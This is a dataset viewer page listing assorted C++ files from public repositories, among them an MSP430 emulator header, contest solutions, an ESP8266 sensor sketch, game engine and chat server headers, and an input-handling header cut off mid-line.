Datasets:

celinelee

/

thestack-v2-cpp-2019-blamed

like 0

819eb928fa03acd974c3e18443532022f13c2f05

711b11d08abdb3a7df2574b0b4c86af21c5c6750

/dest.h

e06af74e0264187915ab70b86b0e67aa85d2a79f

no_license

nflath/MSP430Emulator

4aee9e093113cc41d9041a1728eedd742fd786b2

a97a1b97b895b3533597bcdb69bec8b75db395df

refs/heads/master

UTF-8

C++

h

#include <assert.h> #ifndef DEST_H #define DEST_H #include "error.h" // Classes representing 'Destinations' types in MSP430 - See the section // 'MSP430 addressing modes' in https://en.wikipedia.org/wiki/TI_MSP430#MSP430_CPU class State; class Dest { // Virtual base clase. public: virtual void set(short value) { notimplemented(); } // Sets the value of this destination virtual void setByte(unsigned char value) { notimplemented(); } // Sets the value of this destination (byte addressing mode) virtual short value() { notimplemented(); return 0;} // Returns the value of this destination virtual unsigned char valueByte() { notimplemented(); return 0;} // Returns the value of this destination(byte addressing mode) virtual std::string toString() = 0; // Returns a string representation of this destination virtual bool usedExtensionWord() { return false; } // Whether an extension word was used to represent this destination virtual unsigned char size() { return usedExtensionWord() ? 2 : 0; } // How many extra bytes this destination took up in the assembly }; class RegisterDest : public Dest { // Destination representing a register (r14) public: virtual std::string toString(); virtual void set(short value); virtual void setByte(unsigned char value); virtual short value(); virtual unsigned char valueByte(); RegisterDest(unsigned short reg_) : reg(reg_) {} unsigned short reg; }; class RegisterOffsetDest : public RegisterDest { // Destination representing the memory address at a register plus an offset (0x40(r14)) public: virtual std::string toString(); virtual bool usedExtensionWord() { return true; } virtual void set(short value); virtual void setByte(unsigned char value); virtual short value(); virtual unsigned char valueByte(); RegisterOffsetDest(unsigned short reg_, short offset_) : RegisterDest(reg_), offset(offset_) { } short offset; }; class AbsoluteDest : public Dest { // Destination that is just a memory address (&0x4400) public: virtual std::string toString(); virtual bool usedExtensionWord() { return true; } virtual void set(short value); virtual void setByte(unsigned char value); virtual unsigned char valueByte(); AbsoluteDest(unsigned short address_) : address(address_) { } unsigned short address; }; extern State* s; #endif

06c1ab5ff8ab138987ba9ad1ed0f423d945bafe7

6817617489ef291d4d53ac844ba7a2b14cc17ae2

/11942.cpp

dcc6c32bd3395a76801df96fb6b8693215e020ec

no_license

Asad51/UVA-Problem-Solving

1932f2cd73261cd702f58d4f189a4a134dbd6286

af28ae36a2074d4e2a67670dbbbd507438c56c3e

refs/heads/master

UTF-8

C++

cpp

#include <bits/stdc++.h> using namespace std; int main(int argc, char const *argv[]) { int t; cin>>t; cout<<"Lumberjacks:\n"; while(t--){ bool in = true; bool dec = true; int p; for(int i=0; i<10; i++){ int n; cin>>n; if(!i){ p = n; continue; } if(n<p || !in) in = false; if(n>p || !dec) dec = false; p = n; } if(!in && !dec) cout<<"Unordered\n"; else cout<<"Ordered\n"; } return 0; }

cbee84c2e52dc1341528f8254aaf41ac321f936c

2869112fdc836e565f9fe68e290affc1e223c1d8

/pythran/pythonic/include/__builtin__/set/isdisjoint.hpp

10ac38270e03ff35d15b79143e6164321a7b5afb

permissive

coyotte508/pythran

ab26e9ddb9a9e00e77b457df316aa33dc8435914

a5da78f2aebae712a2c6260ab691dab7d09e307c

refs/heads/master

UTF-8

C++

hpp

#ifndef PYTHONIC_INCLUDE_BUILTIN_SET_ISDISJOINT_HPP #define PYTHONIC_INCLUDE_BUILTIN_SET_ISDISJOINT_HPP #include "pythonic/utils/proxy.hpp" #include "pythonic/types/set.hpp" namespace pythonic { namespace __builtin__ { namespace set { template<class T, class U> bool isdisjoint(types::set<T> const& calling_set, U const& arg_set); template<class U> bool isdisjoint(types::empty_set const& calling_set, U const& arg_set); PROXY_DECL(pythonic::__builtin__::set, isdisjoint); } } } #endif

36ffd69f21bf2277cef7fea364841c3a12967399

d04b3793ed3611d5bdc8e3bc990bf9eb8562cece

/CheatSheet.cpp

e00970193f00ed69d57e398e36db43427aaf83b0

no_license

nebulou5/CppExamples

c7198cdc24ba1d681cc20738a3b21e2b17b98498

98044227b888a7f9faa8934ab76bb3cac443b75e

refs/heads/master

UTF-8

C++

cpp

#include <iostream> using namespace std; void printI(int &i) { cout << "Printing i: " << i << endl; } int main() { // defining a basic 10 integer array int x[10]; int xLen = sizeof(x) / sizeof(x[0]); for (int i = 0; i < xLen; i++) { cout << x[i] << endl; } // defining an array in place float v[] = {1.1, 2.2, 3.3}; int vLen = sizeof(v) / sizeof(v[0]); for (int i = 0; i < vLen; i++ ) { cout << v[i] << endl; } // multidimensional array float ab[3][3]; int abLen = sizeof(ab) / sizeof(ab[0]); for (int i = 0; i < abLen; i++) { printI(i); for (int j = 0; j < abLen; j++) { cout << "Element: " << i << ", " << j << ": " << ab[i][j] << endl; } } // array allocated at runtime int someUserDefinedSize = 3; float* rta = new float[someUserDefinedSize]; // pointer dynamically allocates memory at runtime delete[] rta; // but programmer must clean up the memory afterwards // basic pointer usage int i = 3; int *j = &i; // store address of i @ "j" int k = *j; // dereference address stored @ "j" // initializing a nullptr // valid in c++ 11 and beyond int *nullPointer = nullptr; int *nullPointerSynonymous{}; // also sets a nullptr }

73bbdcfbe50a724cb152edeb3ed8f2aed3d76d69

28b90ad96790edd30edc5ba95137cc20261599b5

/nodemcu/MPU_6050_flask_json/MPU_6050_flask_json.ino

134d2fabdbfb2a13cb534495c378ee4397e38c4e

no_license

anshulahuja98/Codefundo-18-IITJ

b09e1b200a5e5d9bbe23f58addc3460a1a19d732

bfae0dde99cd9133bdeabd06fdb73b512214b1f9

refs/heads/master

UTF-8

C++

ino

#include <Wire.h> #include <ESP8266HTTPClient.h> #include <ESP8266WiFi.h> #include <ArduinoJson.h> const uint8_t MPU6050SlaveAddress = 0x68; const uint8_t scl = D1; const uint8_t sda = D2; const uint16_t AccelScaleFactor = 16384; const uint16_t GyroScaleFactor = 131; const uint8_t MPU6050_REGISTER_SMPLRT_DIV = 0x19; const uint8_t MPU6050_REGISTER_USER_CTRL = 0x6A; const uint8_t MPU6050_REGISTER_PWR_MGMT_1 = 0x6B; const uint8_t MPU6050_REGISTER_PWR_MGMT_2 = 0x6C; const uint8_t MPU6050_REGISTER_CONFIG = 0x1A; const uint8_t MPU6050_REGISTER_GYRO_CONFIG = 0x1B; const uint8_t MPU6050_REGISTER_ACCEL_CONFIG = 0x1C; const uint8_t MPU6050_REGISTER_FIFO_EN = 0x23; const uint8_t MPU6050_REGISTER_INT_ENABLE = 0x38; const uint8_t MPU6050_REGISTER_ACCEL_XOUT_H = 0x3B; const uint8_t MPU6050_REGISTER_SIGNAL_PATH_RESET = 0x68; int16_t AccelX, AccelY, AccelZ, Temperature, GyroX, GyroY, GyroZ; String flag_payload = ""; int o =0; void setup() { Serial.begin(115200); Wire.begin(sda, scl); MPU6050_Init(); WiFi.begin("null", "patanahi1"); while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.println("Waiting for connection"); } pinMode(10 , OUTPUT); digitalWrite(10, LOW); } void loop() { if (WiFi.status() == WL_CONNECTED) { double Ax, Ay, Az, T, Gx, Gy, Gz, dev_id; Read_RawValue(MPU6050SlaveAddress, MPU6050_REGISTER_ACCEL_XOUT_H); //divide each with their sensititvity scale factor Ax = (double)AccelX / AccelScaleFactor; Ay = (double)AccelY / AccelScaleFactor; Az = (double)AccelZ / AccelScaleFactor; T = (double)Temperature / 340 + 36.53; //temperature formula Gx = (double)GyroX / GyroScaleFactor; Gy = (double)GyroY / GyroScaleFactor; Gz = (double)GyroZ / GyroScaleFactor; dev_id = 2222; Serial.print("Ax: "); Serial.print(Ax); Serial.print(" Ay: "); Serial.print(Ay); Serial.print(" Az: "); Serial.print(Az); Serial.print(" T: "); Serial.print(T); Serial.print(" Gx: "); Serial.print(Gx); Serial.print(" Gy: "); Serial.print(Gy); Serial.print(" Gz: "); Serial.println(Gz); StaticJsonBuffer<300> JSONbuffer; //Declaring static JSON buffer JsonObject& JSONencoder = JSONbuffer.createObject(); JSONencoder["Sensor type"] = "Acceleration"; JSONencoder["deviceid"] = dev_id; JsonArray& values = JSONencoder.createNestedArray("values"); //JSON array values.add(Ax); //Add value to array values.add(Ay); //Add value to array values.add(Az); //Add value to array values.add(T); //Add value to array JsonArray& timestamps = JSONencoder.createNestedArray("direction1"); //JSON array timestamps.add("x direction"); //Add value to array timestamps.add("y direction"); //Add value to array timestamps.add("z direction"); //Add value to array timestamps.add("Temperature"); //Add vaues to array char JSONmessageBuffer[300]; JSONencoder.prettyPrintTo(JSONmessageBuffer, sizeof(JSONmessageBuffer)); Serial.println(JSONmessageBuffer); HTTPClient http; //Declare object of class HTTPClient http.begin("http://192.168.43.75:8090/post"); //Specify request destination http.addHeader("Content-Type", "application/json"); //Specify content-type header int httpCode = http.POST(JSONmessageBuffer); //Send the request String payload = http.getString(); //Get the response payload Serial.println(httpCode); //Print HTTP return code Serial.println(payload); //Print request response payload http.end(); //Close connection http.begin("http://192.168.43.75:8090/get"); int httpCode1 = http.GET(); //Send the request String payload_get = http.getString(); Serial.println(httpCode1); //Print HTTP return code Serial.println(payload_get); //Print request response payload if (payload_get == "1") { Serial.println("lasjdf liasdj fli"); o = 1; } http.end(); //Close connection if (o == 1) { digitalWrite(10, HIGH); } } else { Serial.println("Error in WiFi connection"); } delay(100); } void I2C_Write(uint8_t deviceAddress, uint8_t regAddress, uint8_t data) { Wire.beginTransmission(deviceAddress); Wire.write(regAddress); Wire.write(data); Wire.endTransmission(); } // read all 14 register void Read_RawValue(uint8_t deviceAddress, uint8_t regAddress) { Wire.beginTransmission(deviceAddress); Wire.write(regAddress); Wire.endTransmission(); Wire.requestFrom(deviceAddress, (uint8_t)14); AccelX = (((int16_t)Wire.read() << 8) | Wire.read()); AccelY = (((int16_t)Wire.read() << 8) | Wire.read()); AccelZ = (((int16_t)Wire.read() << 8) | Wire.read()); Temperature = (((int16_t)Wire.read() << 8) | Wire.read()); GyroX = (((int16_t)Wire.read() << 8) | Wire.read()); GyroY = (((int16_t)Wire.read() << 8) | Wire.read()); GyroZ = (((int16_t)Wire.read() << 8) | Wire.read()); } //configure MPU6050 void MPU6050_Init() { delay(150); I2C_Write(MPU6050SlaveAddress, MPU6050_REGISTER_SMPLRT_DIV, 0x07); I2C_Write(MPU6050SlaveAddress, MPU6050_REGISTER_PWR_MGMT_1, 0x01); I2C_Write(MPU6050SlaveAddress, MPU6050_REGISTER_PWR_MGMT_2, 0x00); I2C_Write(MPU6050SlaveAddress, MPU6050_REGISTER_CONFIG, 0x00); I2C_Write(MPU6050SlaveAddress, MPU6050_REGISTER_GYRO_CONFIG, 0x00);//set +/-250 degree/second full scale I2C_Write(MPU6050SlaveAddress, MPU6050_REGISTER_ACCEL_CONFIG, 0x00);// set +/- 2g full scale I2C_Write(MPU6050SlaveAddress, MPU6050_REGISTER_FIFO_EN, 0x00); I2C_Write(MPU6050SlaveAddress, MPU6050_REGISTER_INT_ENABLE, 0x01); I2C_Write(MPU6050SlaveAddress, MPU6050_REGISTER_SIGNAL_PATH_RESET, 0x00); I2C_Write(MPU6050SlaveAddress, MPU6050_REGISTER_USER_CTRL, 0x00); }

77e95d74adb0d91068d318a9f567bd723eb4bd30

8a970882a0be9f3d85edbf6ecec0050b762e8d80

/GazEngine/gazengine/Entity.h

ded187d2149547f453fc7c141f5bfa9b3cc59aa9

no_license

simplegsb/gazengine

472d1de8d300c8406ffec148844911fd21d5c1e0

b0a7300aa535b14494789fb88c16d6dda1c4e622

refs/heads/master

UTF-8

C++

h

#ifndef ENTITY_H_ #define ENTITY_H_ #include <memory> #include <string> #include <vector> class Component; class Entity { public: static const unsigned short UNCATEGORIZED = 0; Entity(unsigned short category = UNCATEGORIZED, const std::string& name = std::string()); virtual ~Entity(); /** * <p> * Adds a component. * </p> * * @param component The component to add. */ void addComponent(Component* component); unsigned short getCategory() const; /** * <p> * Retrieves the components. * </p> * * @return The components. */ template<typename ComponentType> std::vector<ComponentType*> getComponents() const; unsigned int getId() const; /** * <p> * Retrieves the name of this <code>Entity</code>. * </p> * * @return The name of this <code>Entity</code>. */ const std::string& getName() const; /** * <p> * Retrieves a single component. * </p> * * @return The single component. */ template<typename ComponentType> ComponentType* getSingleComponent() const; /** * <p> * Removes a component. * </p> * * @param component The component to remove. */ void removeComponent(const Component& component); private: unsigned short category; /** * <p> * The components. * </p> */ std::vector<Component*> components; unsigned int id; /** * <p> * The name of this <code>Entity</code>. * </p> */ std::string name; static unsigned int nextId; }; #include "Entity.tpp" #endif /* ENTITY_H_ */

c1be7ed8331d413fbb32c4f4da225eabb0c94905

2d4346d0da0a4145f6bcc91a8cb2c0ab4d669d7e

/chat-up-server/src/Authentication/AuthenticationService.h

b172c8a7281e736007294715851af51947b6b669

no_license

xgallom/chat-up

5570d069a495acf6398bdf1f62b1fb1d91289376

7cb664ce745cf041fb508b04165d2179563aa010

refs/heads/master

UTF-8

C++

h

// // Created by xgallom on 1/27/19. // #ifndef CHAT_UP_AUTHENTICATIONSERVICE_H #define CHAT_UP_AUTHENTICATIONSERVICE_H #include <Messaging/Message.h> #include <Messaging/MessageSender.h> #include <Outcome.h> #include <Authentication/User.h> class AuthenticationStorage; class AuthenticationService { AuthenticationStorage &m_storage; User m_user = User(); public: AuthenticationService() noexcept; Outcome::Enum run(MessageSender &sender, const Message &message); bool registerUser(const User &user); User user() const noexcept; }; #endif //CHAT_UP_AUTHENTICATIONSERVICE_H

fdb075167409c531a8ffa63f4eb5c358ff9f4c08

8da9d3c3e769ead17f5ad4a4cba6fb3e84a9e340

/src/chila/lib/node/util.hpp

51b98169af1da8738e7ec4fea35fe3d0da6b3455

no_license

blockspacer/chila

6884a540fafa73db37f2bf0117410c33044adbcf

b95290725b54696f7cefc1c430582f90542b1dec

refs/heads/master

UTF-8

C++

hpp

/* Copyright 2011-2015 Roberto Daniel Gimenez Gamarra (chilabot@gmail.com) * (C.I.: 1.439.390 - Paraguay) */ #ifndef CHILA_LIB_NODE__UTIL_HPP #define CHILA_LIB_NODE__UTIL_HPP #include <chila/lib/misc/util.hpp> #include "exceptions.hpp" #define my_assert CHILA_LIB_MISC__ASSERT #define CHILA_META_NODE__DEF_CHECK_BASES_ELEM(n, data, elem) \ chila::lib::node::checkAndAdd(list, [&]{ elem::check(newData.get()); }); #define CHILA_META_NODE__DEF_CHECK_BASES(Bases, defMyCheck) \ BOOST_PP_IF(defMyCheck, chila::lib::node::CheckDataUPtr createCheckData(chila::lib::node::CheckData *data) const;, ); \ BOOST_PP_IF(defMyCheck, void myCheck(chila::lib::node::CheckData *data = nullptr) const;, ); \ void check(chila::lib::node::CheckData *data = nullptr) const override \ { \ chila::lib::node::CheckExceptionList list; \ auto newData = BOOST_PP_IF(defMyCheck, createCheckData(data), chila::lib::node::CheckDataUPtr()); \ BOOST_PP_SEQ_FOR_EACH(CHILA_META_NODE__DEF_CHECK_BASES_ELEM,,Bases) \ BOOST_PP_IF(defMyCheck, BOOST_PP_IDENTITY(\ chila::lib::node::checkAndAdd(list, [&]{ myCheck(newData.get()); }); \ ), BOOST_PP_EMPTY)(); \ if (!list.exceptions.empty()) throw list; \ } #define CHILA_META_NODE__DEF_CHECK \ void check(chila::lib::node::CheckData *data = nullptr) const override; #include "nspDef.hpp" MY_NSP_START { template <typename CheckFun> void checkAndAdd(chila::lib::node::CheckExceptionList &list, const CheckFun &checkFun) try { checkFun(); } catch (ExceptionWrapper &ex) { list.add(ex.ex); } catch (CheckExceptionList &ex) { list.add(ex); } catch (Exception &ex) { list.add(ex); } chila::lib::misc::Path getNodePath(const Node &node); // to avoid cyclical dependency template <typename Fun> inline auto catchThrow(const Node &node, const Fun &fun) -> decltype(fun()) try { return fun(); } catch (const boost::exception &ex) { ex << chila::lib::misc::ExceptionInfo::Path(getNodePath(node)); throw; } template <typename ToType, typename Node> inline const ToType &castNode(const Node &node) try { return catchThrow(node, [&]() -> const ToType& { return chila::lib::misc::dynamicCast<ToType>(node); }); } catch (const boost::exception &ex) { InvalidNode exx; insert_error_info(chila::lib::misc::ExceptionInfo::TypeFrom) insert_error_info(chila::lib::misc::ExceptionInfo::TypeTo) insert_error_info(chila::lib::misc::ExceptionInfo::ActualType) insert_error_info(chila::lib::misc::ExceptionInfo::Path) BOOST_THROW_EXCEPTION(exx); } template <typename ToType, typename Node> inline ToType &castNode(Node &node) try { return catchThrow(node, [&]() -> ToType& { return chila::lib::misc::dynamicCast<ToType>(node); }); } catch (const boost::exception &ex) { InvalidNode exx; insert_error_info(chila::lib::misc::ExceptionInfo::TypeFrom) insert_error_info(chila::lib::misc::ExceptionInfo::TypeTo) insert_error_info(chila::lib::misc::ExceptionInfo::ActualType) insert_error_info(chila::lib::misc::ExceptionInfo::Path) BOOST_THROW_EXCEPTION(exx); } NodeWithChildren &mainParent(NodeWithChildren &node); PathVec getReferences( NodeWithChildren &node, const chila::lib::misc::Path &path); void replaceReferences(NodeWithChildren &node, const PathVec &paths, const Node &newRefNode); } MY_NSP_END #include "nspUndef.hpp" #endif

f387d41d0e3251ca4e290372f77e819aa8f41c08

8c8ea797b0821400c3176add36dd59f866b8ac3d

/AOJ/aoj0578.cpp

9b35642e4fd0541224a11ccbbf275376f137bc2c

no_license

fushime2/competitive

d3d6d8e095842a97d4cad9ca1246ee120d21789f

b2a0f5957d8ae758330f5450306b629006651ad5

refs/heads/master

UTF-8

C++

cpp

#include <iostream> #include <cstdio> #include <algorithm> #include <string> using namespace std; int N; bool isName(string shop, string board) { int m = board.length(); for(int step=1; step<=m; step++) { for(int i=0; i<m; i++) { string s = ""; for(int j=i; j<m; j+=step) { s += board[j]; } if(s.find(shop) != string::npos) return true; } } return false; } int main(void) { cin >> N; string shop, board; cin >> shop; int ans = 0; for(int i=0; i<N; i++) { cin >> board; if(isName(shop, board)) ans++; } cout << ans << endl; return 0; }

6121382505592535a09b239e90ed50ff680fc2e6

91fcb836ee5af301a2125624ddb96cf49b19494d

/queue/restoreQueue.cpp

2e49fc23784e34f26b2deade801fe414d1b21cb1

no_license

hellozxs/C

fe11911222595ffcdc425218407711bbe59a3b10

1f3815966a8d5668f149ff9957672819a2d2b57d

refs/heads/master

UTF-8

C++

cpp

//对一个队列执行以下操作后，发现输出为 1，2，3，4，……,n // 操作：（如果队列不为空） // 1：取队头元素，放入队尾，将队头pop // 2；输出队头，将队头pop // 输入n，求原始队列？ // //输入：z -> 表示将要输入的数据的个数 //输入z个n的具体值 #include <iostream> #include <vector> using namespace std; typedef struct MyData { int _data; bool _flag; }MyData; int main() { int z; cin >> z; vector<int> arr(z); for (int i = 0; i < z; i++) { cin >> arr[i]; } int i = 0; for (i = 0; i< z; i++) { if (arr[i] == 1) cout << 1 << endl; else { vector<MyData> a(arr[i]); int j = 0; int count = arr[i]; int tmp = 1; for (; count--; j ++) { int flag = 1; while (flag) { if (j == arr[i]) j = 0; if (a[j]._flag == false) flag--; j++; } if (j == arr[i]) j = 0; while (a[j]._flag == true) { j++; if (j == arr[i]) j = 0; } a[j]._data =tmp++; a[j]._flag = true; } int k = 0; for (; k < arr[i]; k++) cout << a[k]._data << " "; cout << endl; } } return 0; }

19203a417004197a3b51e22fe5a3dc21d6bcd8c4

57f87cd5fb9448bc6cdbf10769365393efae3a00

/firmware_v5/telelogger/teleclient.h

a6433b87bd84452fb52cfd90b903677e97fb909f

no_license

NatroNx/Freematics

6a366805aef406d6f4deae050414f9611bbe710e

011ae3212f57fdee7648eb34171e141c55a413ed

refs/heads/master

UTF-8

C++

h

class TeleClient { public: virtual void reset() { txCount = 0; txBytes = 0; rxBytes = 0; } virtual bool notify(byte event, const char* serverKey, const char* payload = 0) { return true; } virtual bool connect() { return true; } virtual bool transmit(const char* packetBuffer, unsigned int packetSize) { return true; } virtual void inbound() {} virtual bool begin() { return true; } virtual void end() {} uint32_t txCount = 0; uint32_t txBytes = 0; uint32_t rxBytes = 0; uint32_t lastSyncTime = 0; uint32_t lastSentTime = 0; uint16_t feedid = 0; }; class TeleClientUDP : public TeleClient { public: bool notify(byte event, const char* serverKey, const char* payload = 0); bool connect(); bool transmit(const char* packetBuffer, unsigned int packetSize); void inbound(); bool verifyChecksum(char* data); #if NET_DEVICE == NET_WIFI UDPClientWIFI net; #elif NET_DEVICE == NET_SIM800 UDPClientSIM800 net; #elif NET_DEVICE == NET_SIM5360 UDPClientSIM5360 net; #elif NET_DEVICE == NET_SIM7600 UDPClientSIM7600 net; #else NullClient net; #endif }; class TeleClientHTTP : public TeleClient { public: bool connect(); bool transmit(const char* packetBuffer, unsigned int packetSize); #if NET_DEVICE == NET_WIFI HTTPClientWIFI net; #elif NET_DEVICE == NET_SIM800 HTTPClientSIM800 net; #elif NET_DEVICE == NET_SIM5360 HTTPClientSIM5360 net; #elif NET_DEVICE == NET_SIM7600 HTTPClientSIM7600 net; #else NullClient net; #endif };

7ade5627a226f91a37d1e00ba158ba1f1eace614

6a56f4e8bfa2da98cfc51a883b7cae01736c3046

/ovaldi-code-r1804-trunk/src/probes/unix/PasswordProbe.h

03062e89f9d72a9942bd7a1aac071a565a9a4ae6

no_license

tmcclain-taptech/Ovaldi-Win10

6b11e495c8d37fd73aae6c0281287cadbc491e59

7214d742c66f3df808d70e880ba9dad69cea403d

refs/heads/master

UTF-8

C++

h

// // //****************************************************************************************// // Copyright (c) 2002-2014, The MITRE Corporation // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are // permitted provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this list // of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright notice, this // list of conditions and the following disclaimer in the documentation and/or other // materials provided with the distribution. // * Neither the name of The MITRE Corporation nor the names of its contributors may be // used to endorse or promote products derived from this software without specific // prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY // EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES // OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT // SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT // OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) // HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR // TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, // EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // //****************************************************************************************// #ifndef PASSWORDPROBE_H #define PASSWORDPROBE_H #include "AbsProbe.h" #include "Item.h" #include "Object.h" #include <pwd.h> #include <string> /** This class is responsible for collecting information about unix password_objects. */ class PasswordProbe : public AbsProbe { public: virtual ~PasswordProbe(); /** Get all the files on the system that match the pattern and collect their attributes. */ virtual ItemVector* CollectItems(Object* object); /** Return a new Item created for storing file information */ virtual Item* CreateItem(); /** Ensure that the PasswordProbe is a singleton. */ static AbsProbe* Instance(); private: PasswordProbe(); /** Creates an item from a passwd struct */ Item *CreateItemFromPasswd(struct passwd const *pwInfo); /** Finds a single item by name. */ Item *GetSingleItem(const std::string& username); /** Finds multiple items according to the given object entity. */ ItemVector *GetMultipleItems(Object *passwordObject); /** Singleton instance */ static PasswordProbe* instance; }; #endif

8b494503d9bf74ff5d28e840affc467e8a440a51

34a3165ded55c6ac5ffe2ff17c9996c66e0e80b5

/cpp/ETProtect.cpp

989ebb94e3100accc0e0e0fd02bff4f34144df29

no_license

monkeyde17/et-protect-package

d806a3196c28c4176374bc21e7ec5769faa72347

77e04d1834d0723c2de7f424a1cbc1efd2321991

refs/heads/master

UTF-8

C++

cpp

// // ETProtect.cpp // testcpp // // Created by etond on 14/12/3. // // #include "ETProtect.h" bool ETProtect::isOriginPackage() { unsigned int uHashValue = calculateValueFromFile(); unsigned int uReadValue = readValueFromFile(); #if (ETPROTECTDEBUG) CCLOG("[log] -- hash %u", uHashValue); CCLOG("[log] -- read %u", uReadValue); #endif if (uReadValue == 0 || uHashValue == 0) { return false; } return uReadValue == uHashValue; } unsigned int ETProtect::readValueFromFile(std::string filename /* default = config.et */) { unsigned int uValue = 0; Data data = FileUtils::getInstance()->getDataFromFile(filename); if (data.getSize() > 0) { uValue = ((ETProtectData *)data.getBytes())->getHashValue(); } return uValue; } unsigned int ETProtect::calculateValueFromFile(unsigned int seed /* default = 0x12345678 */) { std::string path = ""; #if (CC_TARGET_PLATFORM == CC_PLATFORM_ANDROID) JniMethodInfo minfo; bool isHave = JniHelper::getStaticMethodInfo(minfo, "org/cocos2dx/cpp/AppActivity", "getPath", "()Ljava/lang/String;"); if (isHave) { jobject jobj = minfo.env->CallStaticObjectMethod(minfo.classID, minfo.methodID); /* get the return value */ path = JniHelper::jstring2string((jstring)jobj).c_str(); CCLOG("JNI SUCCESS!"); } #endif unsigned int value = 0; if (path.length() > 0) { ssize_t len = 0; unsigned char *buf = FileUtils::getInstance()->getFileDataFromZip(path, "classes.dex", &len); if (buf) { value = XXH32(buf, len, seed); } delete[] buf; } return value; }

b13420aa4004b14e74a53305e3368b5f4ee9dc92

72d1b579366934a24af7aff13ebf9b8cdaf58d8c

/ReadImages.cpp

a8f247f3d5b7fd89ce0c49662b42f6ef479207a1

no_license

hgpvision/Keypoint-Matcher

48496a59dbaffefe6e89e8e14efabdb9883848bb

bf265aba62b325fab300aba2bad357ff7321ba4a

refs/heads/master

GB18030

C++

cpp

/* * 文件名称：ReadImages.cpp * 摘 要：读取图片类，图片序列放入到一个文件夹中，如"C:\\imgFile"，按一定格式命名，比如"0001.jpg","00010.jpg","1.jpg" * 使用实例： * 包含头文件： #include "ReadImages.h" * 先声明要给读入图片类：ReadImages imageReader("C:\\imgFile", "", ".jpg"); * 读入图片： Mat prev = imageReader.loadImage(1,0); //将读入"1.jpg"图片，灰度格式 * 2016.05.23 */ #include "ReadImages.h" #pragma once ReadImages::ReadImages(std::string basepath, const std::string imagename, const std::string suffix) { //将路径中的文件夹分隔符统一为'/'（可以不需要这个for循环，会自动统一，该语句使用的命令参考C++ Primer） for (auto &c : basepath) { if (c == '\\') { c = '/'; } } _imgSource._basepath = basepath + "/"; //这里采用'/'，而不是'\\' _imgSource._imagename = imagename; //图片名（不含编号） _imgSource._suffix = suffix; //图像扩展名 } //读入单张图片 //输入：imgId，一般要读入序列图片，图片都有个编号 cv::Mat ReadImages::loadImage(int imgId, int imgType) { //将图片编号转好字符串 std::stringstream ss; std::string imgNum; ss << imgId; ss >> imgNum; //得到图片的完整绝对路径 std::string path = _imgSource._basepath + _imgSource._imagename + imgNum + _imgSource._suffix; cv::Mat img = cv::imread(path,imgType); return img; }

82be31fc3524835f627befe774786637aae24645

469370ad9a81ec746270f54a6433853e517bafde

/input.h

fa59213d1dc084e2a98556a154757033ecde6c1c

no_license

masaedw/landscaper

42431ee6ea952a2476583b838b7ae31e687e6421

7b84f39d16a37de12d20be15e17f199737e1d6a8

refs/heads/master

SHIFT_JIS

C++

h

#ifndef _INPUT_H_ #define _INPUT_H_ #include <map> #include "collision.h" namespace space{ //キーボード情報 //キーボードの値は整数に変換される。どういう変換かは使う人が考えること。 class Keyboard { public: typedef std::map<unsigned short,unsigned short> KeyMap; protected: KeyMap keys; public: void clear(){keys.clear();} Keyboard(){clear();} ~Keyboard(){} //セット void pushkey(unsigned short _k) { keys[_k] = _k; } //アンセット void pullkey(unsigned short _k) { KeyMap::iterator it = keys.find(_k); if( it != keys.end() ) keys.erase(it); } //情報をもらう bool ispush(unsigned short _k) const{ if( keys.find(_k) == keys.end() ) return false; return true; } //キーを全部丸ごとプレゼントする const KeyMap& getkeys() const{ return keys;} }; //ジョイスティック情報 //ボタン数は13と仮定。 class Joystick { bool button[13]; int x,y,z; public: void clear(){ x=0;y=0;z=0; for(int i=0;i<16;i++) button[i]=false; } Joystick(){clear();} ~Joystick(){} //セット(unsetの必要なし) void setx(int _k) { x=_k; } void sety(int _k) { y=_k; } void setz(int _k) { z=_k; } //ボタン系セット void pushbutton(unsigned int _b){ if(_b>=13)return; button[_b]=true; } //ボタン系アンセット void pullbutton(unsigned int _b){ if(_b>=13)return; button[_b]=false; } //情報をもらう int getx() const { return x; } int gety() const { return y; } int getz() const { return z; } bool ispush(unsigned int _b) const { if(_b>=13)return false; return button[_b]; } }; //マウス //4ボタン以上とか知らん。 class Mouse { public: struct Button { private: bool ispush; Matrix21<int> pushpos; Matrix21<int> pullpos; public: void clear(){ ispush=false; pushpos = Matrix21<int>(0,0); pullpos = Matrix21<int>(0,0); } Button(){ clear(); } void push(const Matrix21<int>& _pos){ispush=true; pushpos=_pos;} void pull(const Matrix21<int>& _pos){ispush=false;pullpos=_pos;} const Matrix21<int>& getPushpos() const {return pushpos;} const Matrix21<int>& getPullpos() const {return pullpos;} bool isPush() const {return ispush;} std::string output() const{ std::stringstream ss(""); ss << "::" << ispush << ":ps(" << pushpos.x << "," << pushpos.y << "):pl(" << pullpos.x << "," << pullpos.y << ")"; return ss.str(); } }; protected: Button left,right,middle; Matrix21<int> nowpos; public: void clear(){ left.clear(); right.clear(); middle.clear(); nowpos = Matrix21<int>(0,0); } Mouse(){clear();} //セット(アンセット必要なし) void setpos(const Matrix21<int> &_pos){ nowpos=_pos; } //ゲット const Matrix21<int>& getpos() const { return nowpos; } //返すだけ const Button &getleft() const {return left;} const Button &getmiddle() const {return middle;} const Button &getright()const {return right;} Button &setleft() {return left;} Button &setmiddle() {return middle;} Button &setright() { return right;} std::string output() const{ std::stringstream ss(""); ss << "*l" << left.output() << "::m" << middle.output() << "::r" 